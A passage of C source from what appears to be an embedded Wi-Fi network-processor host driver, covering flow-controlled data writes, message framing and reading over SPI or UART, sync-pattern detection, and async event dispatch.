_SlDrvSyncObjWaitForever(&g_pCB->ObjPool[ObjIdx].SyncObj); } _SlDrvReleasePoolObj(ObjIdx); return RetVal; } /* ******************************************************************************/ /* _SlDrvDataWriteOp */ /* ******************************************************************************/ _SlReturnVal_t _SlDrvDataWriteOp( _SlSd_t Sd, _SlCmdCtrl_t *pCmdCtrl , void *pTxRxDescBuff , _SlCmdExt_t *pCmdExt) { _SlReturnVal_t RetVal = SL_EAGAIN; /* initiated as SL_EAGAIN for the non blocking mode */ while( 1 ) { /* Do Flow Control check/update for DataWrite operation */ _SlDrvObjLockWaitForever(&g_pCB->FlowContCB.TxLockObj); /* Clear SyncObj for the case it was signalled before TxPoolCnt */ /* dropped below '1' (last Data buffer was taken) */ /* OSI_RET_OK_CHECK( sl_SyncObjClear(&g_pCB->FlowContCB.TxSyncObj) ); */ sl_SyncObjClear(&g_pCB->FlowContCB.TxSyncObj); /* we have indication that the last send has failed - socket is no longer valid for operations */ if(g_pCB->SocketTXFailure & (1<<(Sd & BSD_SOCKET_ID_MASK))) { _SlDrvObjUnLock(&g_pCB->FlowContCB.TxLockObj); return SL_SOC_ERROR; } if(g_pCB->FlowContCB.TxPoolCnt <= FLOW_CONT_MIN + 1) { /* we have indication that this socket is set as blocking and we try to */ /* unblock it - return an error */ if( g_pCB->SocketNonBlocking & (1<< (Sd & BSD_SOCKET_ID_MASK))) { _SlDrvObjUnLock(&g_pCB->FlowContCB.TxLockObj); return RetVal; } /* If TxPoolCnt was increased by other thread at this moment, */ /* TxSyncObj won't wait here */ _SlDrvSyncObjWaitForever(&g_pCB->FlowContCB.TxSyncObj); } if(g_pCB->FlowContCB.TxPoolCnt > FLOW_CONT_MIN + 1 ) { break; } else { _SlDrvObjUnLock(&g_pCB->FlowContCB.TxLockObj); } } _SlDrvObjLockWaitForever(&g_pCB->GlobalLockObj); VERIFY_PROTOCOL(g_pCB->FlowContCB.TxPoolCnt > FLOW_CONT_MIN + 1 ); g_pCB->FlowContCB.TxPoolCnt--; _SlDrvObjUnLock(&g_pCB->FlowContCB.TxLockObj); /* send the message */ RetVal = _SlDrvMsgWrite(pCmdCtrl, pCmdExt, pTxRxDescBuff); _SlDrvObjUnLock(&g_pCB->GlobalLockObj); return RetVal; } /* ******************************************************************************/ /* _SlDrvMsgWrite */ /* ******************************************************************************/ _SlReturnVal_t _SlDrvMsgWrite(_SlCmdCtrl_t *pCmdCtrl,_SlCmdExt_t *pCmdExt, _u8 *pTxRxDescBuff) { _u8 sendRxPayload = FALSE; VERIFY_PROTOCOL(NULL != pCmdCtrl); g_pCB->FunctionParams.pCmdCtrl = pCmdCtrl; g_pCB->FunctionParams.pTxRxDescBuff = pTxRxDescBuff; g_pCB->FunctionParams.pCmdExt = pCmdExt; g_pCB->TempProtocolHeader.Opcode = pCmdCtrl->Opcode; g_pCB->TempProtocolHeader.Len = _SL_PROTOCOL_CALC_LEN(pCmdCtrl, pCmdExt); if (pCmdExt && pCmdExt->RxPayloadLen < 0 && pCmdExt->TxPayloadLen) { pCmdExt->RxPayloadLen = pCmdExt->RxPayloadLen * (-1); /* change sign */ sendRxPayload = TRUE; g_pCB->TempProtocolHeader.Len = g_pCB->TempProtocolHeader.Len + pCmdExt->RxPayloadLen; } #ifdef SL_START_WRITE_STAT sl_IfStartWriteSequence(g_pCB->FD); #endif #ifdef SL_IF_TYPE_UART /* Write long sync pattern */ NWP_IF_WRITE_CHECK(g_pCB->FD, (_u8 *)&g_H2NSyncPattern.Long, 2*SYNC_PATTERN_LEN); #else /* Write short sync pattern */ NWP_IF_WRITE_CHECK(g_pCB->FD, (_u8 *)&g_H2NSyncPattern.Short, SYNC_PATTERN_LEN); #endif /* Header */ NWP_IF_WRITE_CHECK(g_pCB->FD, (_u8 *)&g_pCB->TempProtocolHeader, _SL_CMD_HDR_SIZE); /* Descriptors */ if (pTxRxDescBuff && pCmdCtrl->TxDescLen > 0) { NWP_IF_WRITE_CHECK(g_pCB->FD, pTxRxDescBuff, _SL_PROTOCOL_ALIGN_SIZE(pCmdCtrl->TxDescLen)); } /* A special mode where Rx payload and Rx length are used as Tx as well */ /* This mode requires no Rx payload on the response and currently used by fs_Close and sl_Send on */ /* transceiver mode */ if (sendRxPayload == TRUE ) { NWP_IF_WRITE_CHECK(g_pCB->FD, pCmdExt->pRxPayload, _SL_PROTOCOL_ALIGN_SIZE(pCmdExt->RxPayloadLen)); } /* Payload */ if (pCmdExt && pCmdExt->TxPayloadLen > 0) { /* If the message has payload, it is mandatory that the message's arguments are protocol aligned. */ /* Otherwise the aligning of arguments will create a gap between arguments and payload. */ VERIFY_PROTOCOL(_SL_IS_PROTOCOL_ALIGNED_SIZE(pCmdCtrl->TxDescLen)); NWP_IF_WRITE_CHECK(g_pCB->FD, pCmdExt->pTxPayload, _SL_PROTOCOL_ALIGN_SIZE(pCmdExt->TxPayloadLen)); } _SL_DBG_CNT_INC(MsgCnt.Write); #ifdef SL_START_WRITE_STAT sl_IfEndWriteSequence(g_pCB->FD); #endif return SL_OS_RET_CODE_OK; } /* ******************************************************************************/ /* _SlDrvMsgRead */ /* ******************************************************************************/ _SlReturnVal_t _SlDrvMsgRead(void) { /* alignment for small memory models */ union { _u8 TempBuf[_SL_RESP_HDR_SIZE]; _u32 DummyBuf[2]; } uBuf; _u8 TailBuffer[4]; _u16 LengthToCopy; _u16 AlignedLengthRecv; _u8 AlignSize; _u8 *pAsyncBuf = NULL; _u16 OpCode; _u16 RespPayloadLen; _u8 sd = SL_MAX_SOCKETS; _SlRxMsgClass_e RxMsgClass; /* save params in global CB */ g_pCB->FunctionParams.AsyncExt.pAsyncBuf = NULL; g_pCB->FunctionParams.AsyncExt.AsyncEvtHandler= NULL; VERIFY_RET_OK(_SlDrvRxHdrRead((_u8*)(uBuf.TempBuf), &AlignSize)); OpCode = OPCODE(uBuf.TempBuf); RespPayloadLen = RSP_PAYLOAD_LEN(uBuf.TempBuf); /* 'Init Compelete' message bears no valid FlowControl info */ if(SL_OPCODE_DEVICE_INITCOMPLETE != OpCode) { g_pCB->FlowContCB.TxPoolCnt = ((_SlResponseHeader_t *)uBuf.TempBuf)->TxPoolCnt; g_pCB->SocketNonBlocking = ((_SlResponseHeader_t *)uBuf.TempBuf)->SocketNonBlocking; g_pCB->SocketTXFailure = ((_SlResponseHeader_t *)uBuf.TempBuf)->SocketTXFailure; if(g_pCB->FlowContCB.TxPoolCnt > FLOW_CONT_MIN) { _SlDrvSyncObjSignal(&g_pCB->FlowContCB.TxSyncObj); } } /* Find the RX messaage class and set its async event handler */ _SlDrvClassifyRxMsg(OpCode); RxMsgClass = g_pCB->FunctionParams.AsyncExt.RxMsgClass; switch(RxMsgClass) { case ASYNC_EVT_CLASS: VERIFY_PROTOCOL(NULL == pAsyncBuf); #if (SL_MEMORY_MGMT == SL_MEMORY_MGMT_DYNAMIC) g_pCB->FunctionParams.AsyncExt.pAsyncBuf = sl_Malloc(SL_ASYNC_MAX_MSG_LEN); #else g_pCB->FunctionParams.AsyncExt.pAsyncBuf = g_StatMem.AsyncRespBuf; #endif /* set the local pointer to the allocated one */ pAsyncBuf = g_pCB->FunctionParams.AsyncExt.pAsyncBuf; /* clear the async buffer */ _SlDrvMemZero(pAsyncBuf, SL_ASYNC_MAX_MSG_LEN); MALLOC_OK_CHECK(pAsyncBuf); sl_Memcpy(pAsyncBuf, uBuf.TempBuf, _SL_RESP_HDR_SIZE); if (_SL_PROTOCOL_ALIGN_SIZE(RespPayloadLen) <= SL_ASYNC_MAX_PAYLOAD_LEN) { AlignedLengthRecv = _SL_PROTOCOL_ALIGN_SIZE(RespPayloadLen); } else { AlignedLengthRecv = _SL_PROTOCOL_ALIGN_SIZE(SL_ASYNC_MAX_PAYLOAD_LEN); } if (RespPayloadLen > 0) { NWP_IF_READ_CHECK(g_pCB->FD, pAsyncBuf + _SL_RESP_HDR_SIZE, AlignedLengthRecv); } /* In case ASYNC RX buffer length is smaller then the received data length, dump the rest */ if ((_SL_PROTOCOL_ALIGN_SIZE(RespPayloadLen) > SL_ASYNC_MAX_PAYLOAD_LEN)) { AlignedLengthRecv = _SL_PROTOCOL_ALIGN_SIZE(RespPayloadLen) - SL_ASYNC_MAX_PAYLOAD_LEN; while (AlignedLengthRecv > 0) { NWP_IF_READ_CHECK(g_pCB->FD,TailBuffer,4); AlignedLengthRecv = AlignedLengthRecv - 4; } } _SlDrvProtectionObjLockWaitForever(); if ( #ifndef SL_TINY_EXT (SL_OPCODE_SOCKET_ACCEPTASYNCRESPONSE == OpCode) || (SL_OPCODE_SOCKET_ACCEPTASYNCRESPONSE_V6 == OpCode) || #endif (SL_OPCODE_SOCKET_CONNECTASYNCRESPONSE == OpCode) ) { /* go over the active list if exist to find obj waiting for this Async event */ sd = ((((_SocketResponse_t *)(pAsyncBuf + _SL_RESP_HDR_SIZE))->sd) & BSD_SOCKET_ID_MASK); } _SlFindAndSetActiveObj(OpCode, sd); _SlDrvProtectionObjUnLock(); break; case RECV_RESP_CLASS: { _u8 ExpArgSize; /* Expected size of Recv/Recvfrom arguments */ switch(OpCode) { case SL_OPCODE_SOCKET_RECVFROMASYNCRESPONSE: ExpArgSize = RECVFROM_IPV4_ARGS_SIZE; break; #ifndef SL_TINY_EXT case SL_OPCODE_SOCKET_RECVFROMASYNCRESPONSE_V6: ExpArgSize = RECVFROM_IPV6_ARGS_SIZE; break; #endif default: /* SL_OPCODE_SOCKET_RECVASYNCRESPONSE: */ ExpArgSize = RECV_ARGS_SIZE; } /* Read first 4 bytes of Recv/Recvfrom response to get SocketId and actual */ /* response data length */ NWP_IF_READ_CHECK(g_pCB->FD, &uBuf.TempBuf[4], RECV_ARGS_SIZE); /* Validate Socket ID and Received Length value. */ VERIFY_PROTOCOL((SD(&uBuf.TempBuf[4])& BSD_SOCKET_ID_MASK) < SL_MAX_SOCKETS); _SlDrvProtectionObjLockWaitForever(); /* go over the active list if exist to find obj waiting for this Async event */ VERIFY_RET_OK(_SlFindAndSetActiveObj(OpCode,SD(&uBuf.TempBuf[4]) & BSD_SOCKET_ID_MASK)); /* Verify data is waited on this socket. The pArgs should have been set by _SlDrvDataReadOp(). */ VERIFY_SOCKET_CB(NULL != ((_SlArgsData_t *)(g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pData))->pArgs); sl_Memcpy( ((_SlArgsData_t *)(g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pRespArgs))->pArgs, &uBuf.TempBuf[4], RECV_ARGS_SIZE); if(ExpArgSize > RECV_ARGS_SIZE) { NWP_IF_READ_CHECK(g_pCB->FD, ((_SlArgsData_t *)(g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pRespArgs))->pArgs + RECV_ARGS_SIZE, ExpArgSize - RECV_ARGS_SIZE); } /* Here g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pData contains requested(expected) Recv/Recvfrom DataSize. */ /* Overwrite requested DataSize with actual one. */ /* If error is received, this information will be read from arguments. */ if(ACT_DATA_SIZE(&uBuf.TempBuf[4]) > 0) { VERIFY_SOCKET_CB(NULL != ((_SlArgsData_t *)(g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pRespArgs))->pData); /* Read 4 bytes aligned from interface */ /* therefore check the requested length and read only */ /* 4 bytes aligned data. The rest unaligned (if any) will be read */ /* and copied to a TailBuffer */ LengthToCopy = ACT_DATA_SIZE(&uBuf.TempBuf[4]) & (3); AlignedLengthRecv = ACT_DATA_SIZE(&uBuf.TempBuf[4]) & (~3); if( AlignedLengthRecv >= 4) { NWP_IF_READ_CHECK(g_pCB->FD,((_SlArgsData_t *)(g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pRespArgs))->pData,AlignedLengthRecv ); } /* copy the unaligned part, if any */ if( LengthToCopy > 0) { NWP_IF_READ_CHECK(g_pCB->FD,TailBuffer,4); /* copy TailBuffer unaligned part (1/2/3 bytes) */ sl_Memcpy(((_SlArgsData_t *)(g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].pRespArgs))->pData + AlignedLengthRecv,TailBuffer,LengthToCopy); } } _SlDrvSyncObjSignal(&g_pCB->ObjPool[g_pCB->FunctionParams.AsyncExt.ActionIndex].SyncObj); _SlDrvProtectionObjUnLock(); } break; case CMD_RESP_CLASS: /* Some commands pass a maximum arguments size. */ /* In this case Driver will send extra dummy patterns to NWP if */ /* the response message is smaller than maximum. */ /* When RxDescLen is not exact, using RxPayloadLen is forbidden! */ /* If such case cannot be avoided - parse message here to detect */ /* arguments/payload border. */ NWP_IF_READ_CHECK(g_pCB->FD, g_pCB->FunctionParams.pTxRxDescBuff, _SL_PROTOCOL_ALIGN_SIZE(g_pCB->FunctionParams.pCmdCtrl->RxDescLen)); if((NULL != g_pCB->FunctionParams.pCmdExt) && (0 != g_pCB->FunctionParams.pCmdExt->RxPayloadLen)) { /* Actual size of command's response payload: <msg_payload_len> - <rsp_args_len> */ _i16 ActDataSize = RSP_PAYLOAD_LEN(uBuf.TempBuf) - g_pCB->FunctionParams.pCmdCtrl->RxDescLen; g_pCB->FunctionParams.pCmdExt->ActualRxPayloadLen = ActDataSize; /* Check that the space prepared by user for the response data is sufficient. */ if(ActDataSize <= 0) { g_pCB->FunctionParams.pCmdExt->RxPayloadLen = 0; } else { /* In case the user supplied Rx buffer length which is smaller then the received data length, copy according to user length */ if (ActDataSize > g_pCB->FunctionParams.pCmdExt->RxPayloadLen) { LengthToCopy = g_pCB->FunctionParams.pCmdExt->RxPayloadLen & (3); AlignedLengthRecv = g_pCB->FunctionParams.pCmdExt->RxPayloadLen & (~3); } else { LengthToCopy = ActDataSize & (3); AlignedLengthRecv = ActDataSize & (~3); } /* Read 4 bytes aligned from interface */ /* therefore check the requested length and read only */ /* 4 bytes aligned data. The rest unaligned (if any) will be read */ /* and copied to a TailBuffer */ if( AlignedLengthRecv >= 4) { NWP_IF_READ_CHECK(g_pCB->FD, g_pCB->FunctionParams.pCmdExt->pRxPayload, AlignedLengthRecv ); } /* copy the unaligned part, if any */ if( LengthToCopy > 0) { NWP_IF_READ_CHECK(g_pCB->FD,TailBuffer,4); /* copy TailBuffer unaligned part (1/2/3 bytes) */ sl_Memcpy(g_pCB->FunctionParams.pCmdExt->pRxPayload + AlignedLengthRecv, TailBuffer, LengthToCopy); ActDataSize = ActDataSize-4; } /* In case the user supplied Rx buffer length which is smaller then the received data length, dump the rest */ if (ActDataSize > g_pCB->FunctionParams.pCmdExt->RxPayloadLen) { /* calculate the rest of the data size to dump */ AlignedLengthRecv = ActDataSize - (g_pCB->FunctionParams.pCmdExt->RxPayloadLen & (~3)); while( AlignedLengthRecv > 0) { NWP_IF_READ_CHECK(g_pCB->FD,TailBuffer, 4 ); AlignedLengthRecv = AlignedLengthRecv - 4; } } } } break; default: /* DUMMY_MSG_CLASS: Flow control message has no payload. */ break; } if(AlignSize > 0) { NWP_IF_READ_CHECK(g_pCB->FD, uBuf.TempBuf, AlignSize); } _SL_DBG_CNT_INC(MsgCnt.Read); /* Unmask Interrupt call */ sl_IfUnMaskIntHdlr(); return SL_OS_RET_CODE_OK; } /* ******************************************************************************/ /* _SlAsyncEventGenericHandler */ /* ******************************************************************************/ void _SlAsyncEventGenericHandler(void) { _u32 SlAsyncEvent = 0; _u8 OpcodeFound = FALSE; _u8 i; _u32* pEventLocation = NULL; /* This pointer will override the async buffer with the translated event type */ _SlResponseHeader_t *pHdr = (_SlResponseHeader_t *)g_pCB->FunctionParams.AsyncExt.pAsyncBuf; /* if no async event registered nothing to do..*/ if (g_pCB->FunctionParams.AsyncExt.AsyncEvtHandler == NULL) return; /* Iterate through all the opcode in the table */ for (i=0; i< (sizeof(OpcodeTranslateTable) / sizeof(OpcodeKeyVal_t)); i++) { if (OpcodeTranslateTable[i].opcode == pHdr->GenHeader.Opcode) { SlAsyncEvent = OpcodeTranslateTable[i].event; OpcodeFound = TRUE; break; } } /* No Async event found in the table */ if (OpcodeFound == FALSE) { /* This case handles all the async events handlers of the DEVICE & SOCK Silos which are handled internally. For these cases we send the async even buffer as is */ g_pCB->FunctionParams.AsyncExt.AsyncEvtHandler(g_pCB->FunctionParams.AsyncExt.pAsyncBuf); } else { /* calculate the event type location to be filled in the async buffer */ pEventLocation = (_u32*)(g_pCB->FunctionParams.AsyncExt.pAsyncBuf + sizeof (_SlResponseHeader_t) - sizeof(SlAsyncEvent) ); /* Override the async buffer (before the data starts ) with our event type */ *pEventLocation = SlAsyncEvent; /* call the event handler registered by the user with our async buffer which now holds the User's event type and its related data */ g_pCB->FunctionParams.AsyncExt.AsyncEvtHandler(pEventLocation); } } /* ******************************************************************************/ /* _SlDrvMsgReadCmdCtx */ /* ******************************************************************************/ _SlReturnVal_t _SlDrvMsgReadCmdCtx(void) { /* after command response is received and isCmdRespWaited */ /* flag is set FALSE, it is necessary to read out all */ /* Async messages in Commands context, because ssiDma_IsrHandleSignalFromSlave */ /* could have dispatched some Async messages to g_NwpIf.CmdSyncObj */ /* after command response but before this response has been processed */ /* by spi_singleRead and isCmdRespWaited was set FALSE. */ while (TRUE == g_pCB->IsCmdRespWaited) { if(_SL_PENDING_RX_MSG(g_pCB)) { VERIFY_RET_OK(_SlDrvMsgRead()); g_pCB->RxDoneCnt++; if (CMD_RESP_CLASS == g_pCB->FunctionParams.AsyncExt.RxMsgClass) { g_pCB->IsCmdRespWaited = FALSE; /* In case CmdResp has been read without waiting on CmdSyncObj - that */ /* Sync object. That to prevent old signal to be processed. */ sl_SyncObjClear(&g_pCB->CmdSyncObj); } else if (ASYNC_EVT_CLASS == g_pCB->FunctionParams.AsyncExt.RxMsgClass) { /* If Async event has been read in CmdResp context, check whether */ /* there is a handler for this event. If there is, spawn specific */ /* handler. Otherwise free the event's buffer. */ /* This way there will be no "dry shots" from CmdResp context to */ /* temporary context, i.e less waste of CPU and faster buffer */ /* release. */ _SlAsyncEventGenericHandler(); #if (SL_MEMORY_MGMT == SL_MEMORY_MGMT_DYNAMIC) sl_Free(g_pCB->FunctionParams.AsyncExt.pAsyncBuf); #else g_pCB->FunctionParams.AsyncExt.pAsyncBuf = NULL; #endif } } else { /* CmdSyncObj will be signaled by IRQ */ _SlDrvSyncObjWaitForever(&g_pCB->CmdSyncObj); } } /* If there are more pending Rx Msgs after CmdResp is received, */ /* that means that these are Async, Dummy or Read Data Msgs. */ /* Spawn _SlDrvMsgReadSpawnCtx to trigger reading these messages from */ /* Temporary context. */ /* sl_Spawn is activated, using a different context */ _SlDrvObjUnLock(&g_pCB->GlobalLockObj); if(_SL_PENDING_RX_MSG(g_pCB)) { sl_Spawn((_SlSpawnEntryFunc_t)_SlDrvMsgReadSpawnCtx, NULL, 0); } return SL_OS_RET_CODE_OK; } /* ******************************************************************************/ /* _SlDrvMsgReadSpawnCtx */ /* ******************************************************************************/ _SlReturnVal_t _SlDrvMsgReadSpawnCtx(void *pValue) { #ifdef SL_POLLING_MODE_USED _i16 retCode = OSI_OK; /* for polling based systems */ do { retCode = sl_LockObjLock(&g_pCB->GlobalLockObj, 0); if ( OSI_OK != retCode ) { if (TRUE == g_pCB->IsCmdRespWaited) { _SlDrvSyncObjSignal(&g_pCB->CmdSyncObj); return SL_RET_CODE_OK; } } } while (OSI_OK != retCode); #else _SlDrvObjLockWaitForever(&g_pCB->GlobalLockObj); #endif /* Messages might have been read by CmdResp context. Therefore after */ /* getting LockObj, check again where the Pending Rx Msg is still present. */ if(FALSE == (_SL_PENDING_RX_MSG(g_pCB))) { _SlDrvObjUnLock(&g_pCB->GlobalLockObj); return SL_RET_CODE_OK; } VERIFY_RET_OK(_SlDrvMsgRead()); g_pCB->RxDoneCnt++; switch(g_pCB->FunctionParams.AsyncExt.RxMsgClass) { case ASYNC_EVT_CLASS: /* If got here and protected by LockObj a message is waiting */ /* to be read */ VERIFY_PROTOCOL(NULL != g_pCB->FunctionParams.AsyncExt.pAsyncBuf); _SlAsyncEventGenericHandler(); #if (SL_MEMORY_MGMT == SL_MEMORY_MGMT_DYNAMIC) sl_Free(g_pCB->FunctionParams.AsyncExt.pAsyncBuf); #else g_pCB->FunctionParams.AsyncExt.pAsyncBuf = NULL; #endif break; case DUMMY_MSG_CLASS: case RECV_RESP_CLASS: /* These types are legal in this context. Do nothing */ break; case CMD_RESP_CLASS: /* Command response is illegal in this context. */ /* No 'break' here: Assert! */ default: VERIFY_PROTOCOL(0); } _SlDrvObjUnLock(&g_pCB->GlobalLockObj); return(SL_RET_CODE_OK); } /* #define SL_OPCODE_SILO_DEVICE ( 0x0 << SL_OPCODE_SILO_OFFSET ) #define SL_OPCODE_SILO_WLAN ( 0x1 << SL_OPCODE_SILO_OFFSET ) #define SL_OPCODE_SILO_SOCKET ( 0x2 << SL_OPCODE_SILO_OFFSET ) #define SL_OPCODE_SILO_NETAPP ( 0x3 << SL_OPCODE_SILO_OFFSET ) #define SL_OPCODE_SILO_NVMEM ( 0x4 << SL_OPCODE_SILO_OFFSET ) #define SL_OPCODE_SILO_NETCFG ( 0x5 << SL_OPCODE_SILO_OFFSET ) */ /* The Lookup table below holds the event handlers to be called according to the incoming RX message SILO type */ const _SlSpawnEntryFunc_t RxMsgClassLUT[] = { (_SlSpawnEntryFunc_t)_SlDrvDeviceEventHandler, /* SL_OPCODE_SILO_DEVICE */ #if defined(sl_WlanEvtHdlr) || defined(EXT_LIB_REGISTERED_WLAN_EVENTS) (_SlSpawnEntryFunc_t)_SlDrvHandleWlanEvents, /* SL_OPCODE_SILO_WLAN */ #else NULL, #endif #if defined (sl_SockEvtHdlr) || defined(EXT_LIB_REGISTERED_SOCK_EVENTS) (_SlSpawnEntryFunc_t)_SlDrvHandleSockEvents, /* SL_OPCODE_SILO_SOCKET */ #else NULL, #endif #if defined(sl_NetAppEvtHdlr) || defined(EXT_LIB_REGISTERED_NETAPP_EVENTS) (_SlSpawnEntryFunc_t)_SlDrvHandleNetAppEvents, /* SL_OPCODE_SILO_NETAPP */ #else NULL, #endif NULL, /* SL_OPCODE_SILO_NVMEM */ NULL, /* SL_OPCODE_SILO_NETCFG */ NULL, NULL }; /* ******************************************************************************/ /* _SlDrvClassifyRxMsg */ /* ******************************************************************************/ void _SlDrvClassifyRxMsg( _SlOpcode_t Opcode) { _SlSpawnEntryFunc_t AsyncEvtHandler = NULL; _SlRxMsgClass_e RxMsgClass = CMD_RESP_CLASS; _u8 Silo; if (0 == (SL_OPCODE_SYNC & Opcode)) { /* Async event has received */ if (SL_OPCODE_DEVICE_DEVICEASYNCDUMMY == Opcode) { RxMsgClass = DUMMY_MSG_CLASS; } else if ( (SL_OPCODE_SOCKET_RECVASYNCRESPONSE == Opcode) || (SL_OPCODE_SOCKET_RECVFROMASYNCRESPONSE == Opcode) #ifndef SL_TINY_EXT || (SL_OPCODE_SOCKET_RECVFROMASYNCRESPONSE_V6 == Opcode) #endif ) { RxMsgClass = RECV_RESP_CLASS; } else { /* This is Async Event class message */ RxMsgClass = ASYNC_EVT_CLASS; /* Despite the fact that 4 bits are allocated in the SILO field, we actually have only 6 SILOs So we can use the 8 options of SILO in look up table */ Silo = ((Opcode >> SL_OPCODE_SILO_OFFSET) & 0x7); VERIFY_PROTOCOL(Silo < (sizeof(RxMsgClassLUT)/sizeof(_SlSpawnEntryFunc_t))); /* Set the async event hander according to the LUT */ AsyncEvtHandler = RxMsgClassLUT[Silo]; if ((SL_OPCODE_NETAPP_HTTPGETTOKENVALUE == Opcode) || (SL_OPCODE_NETAPP_HTTPPOSTTOKENVALUE == Opcode)) { AsyncEvtHandler = _SlDrvNetAppEventHandler; } #ifndef SL_TINY_EXT else if (SL_OPCODE_NETAPP_PINGREPORTREQUESTRESPONSE == Opcode) { AsyncEvtHandler = (_SlSpawnEntryFunc_t)_sl_HandleAsync_PingResponse; } #endif } } g_pCB->FunctionParams.AsyncExt.RxMsgClass = RxMsgClass; g_pCB->FunctionParams.AsyncExt.AsyncEvtHandler = AsyncEvtHandler; } /* ******************************************************************************/ /* _SlDrvRxHdrRead */ /* ******************************************************************************/ _SlReturnVal_t _SlDrvRxHdrRead(_u8 *pBuf, _u8 *pAlignSize) { _u32 SyncCnt = 0; _u8 ShiftIdx; #ifndef SL_IF_TYPE_UART /* 1. Write CNYS pattern to NWP when working in SPI mode only */ NWP_IF_WRITE_CHECK(g_pCB->FD, (_u8 *)&g_H2NCnysPattern.Short, SYNC_PATTERN_LEN); #endif /* 2. Read 4 bytes (protocol aligned) */ NWP_IF_READ_CHECK(g_pCB->FD, &pBuf[0], 4); _SL_DBG_SYNC_LOG(SyncCnt,pBuf); /* Wait for SYNC_PATTERN_LEN from the device */ while ( ! N2H_SYNC_PATTERN_MATCH(pBuf, g_pCB->TxSeqNum) ) { /* 3. Debug limit of scan */ VERIFY_PROTOCOL(SyncCnt < SL_SYNC_SCAN_THRESHOLD); /* 4. Read next 4 bytes to Low 4 bytes of buffer */ if(0 == (SyncCnt % (_u32)SYNC_PATTERN_LEN)) { NWP_IF_READ_CHECK(g_pCB->FD, &pBuf[4], 4); _SL_DBG_SYNC_LOG(SyncCnt,pBuf); } /* 5. Shift Buffer Up for checking if the sync is shifted */ for(ShiftIdx = 0; ShiftIdx< 7; ShiftIdx++) { pBuf[ShiftIdx] = pBuf[ShiftIdx+1]; } pBuf[7] = 0; SyncCnt++; } /* 5. Sync pattern found. If needed, complete number of read bytes to multiple of 4 (protocol align) */ SyncCnt %= SYNC_PATTERN_LEN; if(SyncCnt > 0) { *(_u32 *)&pBuf[0] = *(_u32 *)&pBuf[4]; NWP_IF_READ_CHECK(g_pCB->FD, &pBuf[SYNC_PATTERN_LEN - SyncCnt], (_u16)SyncCnt); } else { NWP_IF_READ_CHECK(g_pCB->FD, &pBuf[0], 4); } /* 6. Scan for Double pattern. */ while ( N2H_SYNC_PATTERN_MATCH(pBuf, g_pCB->TxSeqNum) ) { _SL_DBG_CNT_INC(Work.DoubleSyncPattern); NWP_IF_READ_CHECK(g_pCB->FD, &pBuf[0], SYNC_PATTERN_LEN); } g_pCB->TxSeqNum++; /* 7. Here we've read Generic Header (4 bytes). Read the Resp Specific header (4 more bytes). */ NWP_IF_READ_CHECK(g_pCB->FD, &pBuf[SYNC_PATTERN_LEN], _SL_RESP_SPEC_HDR_SIZE); /* 8. Here we've read the entire Resp Header. */ /* Return number bytes needed to be sent after read for NWP Rx 4-byte alignment (protocol alignment) */ *pAlignSize = (_u8)((SyncCnt > 0) ? (SYNC_PATTERN_LEN - SyncCnt) : 0); return SL_RET_CODE_OK; } /* ***************************************************************************** */ /* _SlDrvBasicCmd */ /* ***************************************************************************** */ typedef union { _BasicResponse_t Rsp; }_SlBasicCmdMsg_u; #ifndef SL_TINY_EXT _i16 _SlDrvBasicCmd(_SlOpcode_t Opcode) { _SlBasicCmdMsg_u Msg = {{0, 0}}; _SlCmdCtrl_t CmdCtrl; CmdCtrl.Opcode = Opcode; CmdCtrl.TxDescLen = 0; CmdCtrl.RxDescLen = sizeof(_BasicResponse_t); VERIFY_RET_OK(_SlDrvCmdOp((_SlCmdCtrl_t *)&CmdCtrl, &Msg, NULL)); return (_i16)Msg.Rsp.status; } /***************************************************************************** _SlDrvCmdSend Send SL command without waiting for command response This function is unprotected and the caller should make sure global lock is active *****************************************************************************/ _SlReturnVal_t _SlDrvCmdSend( _SlCmdCtrl_t *pCmdCtrl , void *pTxRxDescBuff , _SlCmdExt_t *pCmdExt) { _SlReturnVal_t RetVal; _u8 IsCmdRespWaitedOriginalVal; _SlFunctionParams_t originalFuncParms; /* save the current RespWait flag before clearing it */ IsCmdRespWaitedOriginalVal = g_pCB->IsCmdRespWaited; /* save the current command parameters */ sl_Memcpy(&originalFuncParms, &g_pCB->FunctionParams, sizeof(_SlFunctionParams_t)); g_pCB->IsCmdRespWaited = FALSE; SL_TRACE0(DBG_MSG, MSG_312, "_SlDrvCmdSend: call _SlDrvMsgWrite"); /* send the message */ RetVal = _SlDrvMsgWrite(pCmdCtrl, pCmdExt, pTxRxDescBuff); /* restore the original RespWait flag */ g_pCB->IsCmdRespWaited = IsCmdRespWaitedOriginalVal; /* restore the original command parameters */ sl_Memcpy(&g_pCB->FunctionParams, &originalFuncParms, sizeof(_SlFunctionParams_t)); return RetVal; } #endif /* ***************************************************************************** */ /* _SlDrvWaitForPoolObj */ /* ***************************************************************************** */ _u8 _SlDrvWaitForPoolObj(_u8 ActionID, _u8 SocketID) { _u8 CurrObjIndex = MAX_CONCURRENT_ACTIONS; /* Get free object */ _SlDrvProtectionObjLockWaitForever(); if (MAX_CONCURRENT_ACTIONS > g_pCB->FreePoolIdx) { /* save the current obj index */ CurrObjIndex = g_pCB->FreePoolIdx; /* set the new free index */ #ifndef SL_TINY_EXT if (MAX_CONCURRENT_ACTIONS > g_pCB->ObjPool[CurrObjIndex].NextIndex) { g_pCB->FreePoolIdx = g_pCB->ObjPool[CurrObjIndex].NextIndex; } else #endif { /* No further free actions available */ g_pCB->FreePoolIdx = MAX_CONCURRENT_ACTIONS; } } else { _SlDrvProtectionObjUnLock(); return CurrObjIndex; } g_pCB->ObjPool[CurrObjIndex].ActionID = (_u8)ActionID; if (SL_MAX_SOCKETS > SocketID) { g_pCB->ObjPool[CurrObjIndex].AdditionalData = SocketID; } #ifndef SL_TINY_EXT /*In case this action is socket related, SocketID bit will be on In case SocketID is set to SL_MAX_SOCKETS, the socket is not relevant to the action. In that case ActionID bit will be on */ while ( ( (SL_MAX_SOCKETS > SocketID) && (g_pCB->ActiveActionsBitmap & (1<<SocketID)) ) || ( (g_pCB->ActiveActionsBitmap & (1<<ActionID)) && (SL_MAX_SOCKETS == SocketID) ) ) { /* action in progress - move to pending list 